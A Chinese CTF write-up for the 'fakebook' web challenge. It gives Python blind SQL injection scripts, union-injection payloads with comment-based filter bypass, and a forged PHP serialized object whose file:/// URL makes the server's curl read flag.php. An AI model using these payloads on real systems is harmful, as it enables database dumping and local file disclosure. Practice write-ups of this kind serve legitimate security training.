攻防世界web题-fakebook

查看页面

进去页面发现有个登陆和注册,先注册了个账号,登陆后发现url有个no的get参数=1,猜测存在sql注入,构建语句1 and 1=1,页面返回正常,确认存在sql注入。构建语句错误,返回页面。
在这里插入图片描述
数据库为MariaDB,属于mysql的一种。

基于报错的bool盲注注入

尝试union联合发现语句报错,被过滤了无法使用,但是有报错回显,可以使用基于报错的bool盲注。

爆数据库名

先使用length爆数据库名字长度
exp

for i in range(100): #爆数据库名字长度
    sql_length = "1 and length(database())="+str(i) #查询的payload
    no = {'no':sql_length} #参数
    res = requests.get(url=url, headers=head, params=no)  # 发起get请求
    if re.findall("admin",res.text): #匹配是否找到
        db_len=i
        print("名字长度:",db_len)
        break

查询后得知数据库名字长度为8
攻防世界web题-fakebook_第1张图片
知道长度后爆数据库名,利用substr()函数

substr(strings|express,m,[n])
strings|express :被截取的字符串或字符串表达式
m 从第m个字符开始截取
n 截取后字符串长度为n

exp

for i in range(1,db_len+1):
    for j in dic:
        sql_dbname = "1 and substr(database(),"+str(i)+",1)="+"\'"+j+"\'"
        no = {'no': sql_dbname}  # 参数
        res = requests.get(url=url, headers=head, params=no)  # 发起get请求
        if re.findall("admin", res.text):  # 匹配是否找到
            db_name = db_name + j
            break
print("数据库名:",db_name)

攻防世界web题-fakebook_第2张图片
得知数据库名为fakebook,接下来爆表名

联合union注入

爆表名的时候,查表的个数的时候寄了,看了别的大佬的wp,发现这里可以用//union//绕过然后联合查询。之前知道了数据库名字这里直接用information_schema表查表名。
构建payload:

1 and 1=2 /**/union/**/ select 1,group_concat(table_name),2,3  from information_schema.tables where table_schema='fakebook'

查询到只有一张表users
攻防世界web题-fakebook_第3张图片
查询字段
payload:

1 and 1=2 /**/union/**/ select 1,group_concat(column_name),2,3  from information_schema.columns where table_name='users'

在这里插入图片描述
查看data
payload:

1 and 1=2 /**/union/**/ select 1,data,2,3 from users

在这里插入图片描述
找到一个序列化的式子,通过这里我们可以知道数据在数据库里是序列化后存储的,以为只是注入,没想到还有序列化,果然还是我想的太简单了。

序列化

御剑扫后台发现了flag.php,robots.txt.先看以下flag.php
攻防世界web题-fakebook_第4张图片
存在文件但是看不到内容,再看看robots.txt
攻防世界web题-fakebook_第5张图片
又找到了一个文件,查看
下载了一个文本。




class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

代码审计发现,这里使用了cuit_init()用来初始化一个curl会话,而curl可以使用file伪协议读取文件。
结合我们所得到的信息,flag应该在flag.php的源码中,但是flag.php对我们传入了序列化后的参数,这里应该要用到file:\伪协议读取flag.php的源码信息。利用下载的代码信息,得到序列化后的参数信息,最终通过sql注入来读取到flag的信息。

class UserInfo
{
    public $name = "1";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}
$x = new UserInfo;
echo serialize($x);

运行得到序列化后的参数:

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";} 

构建最终payload:

1 and 1=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' 

攻防世界web题-fakebook_第6张图片
查看源代码
在这里插入图片描述
得到了base64加密的flag文件解密后得到
攻防世界web题-fakebook_第7张图片
成功得到flag

总结

本来以为是暴力跑数据库,没想到绕union,结果整半天给自己整寄了,还是太菜了,哭。没有全部信息先查看,结果弄得忙手忙脚,最后整了半天,才发现是通过注入发现数据库存储的信息经过了序列化,然后构造序列化的file伪协议读取文件,最后通过sql注入查询出来的就是反序列化后的信息file:\\var\html\www]flag.php。寄!

你可能感兴趣的:(php,python,网络安全)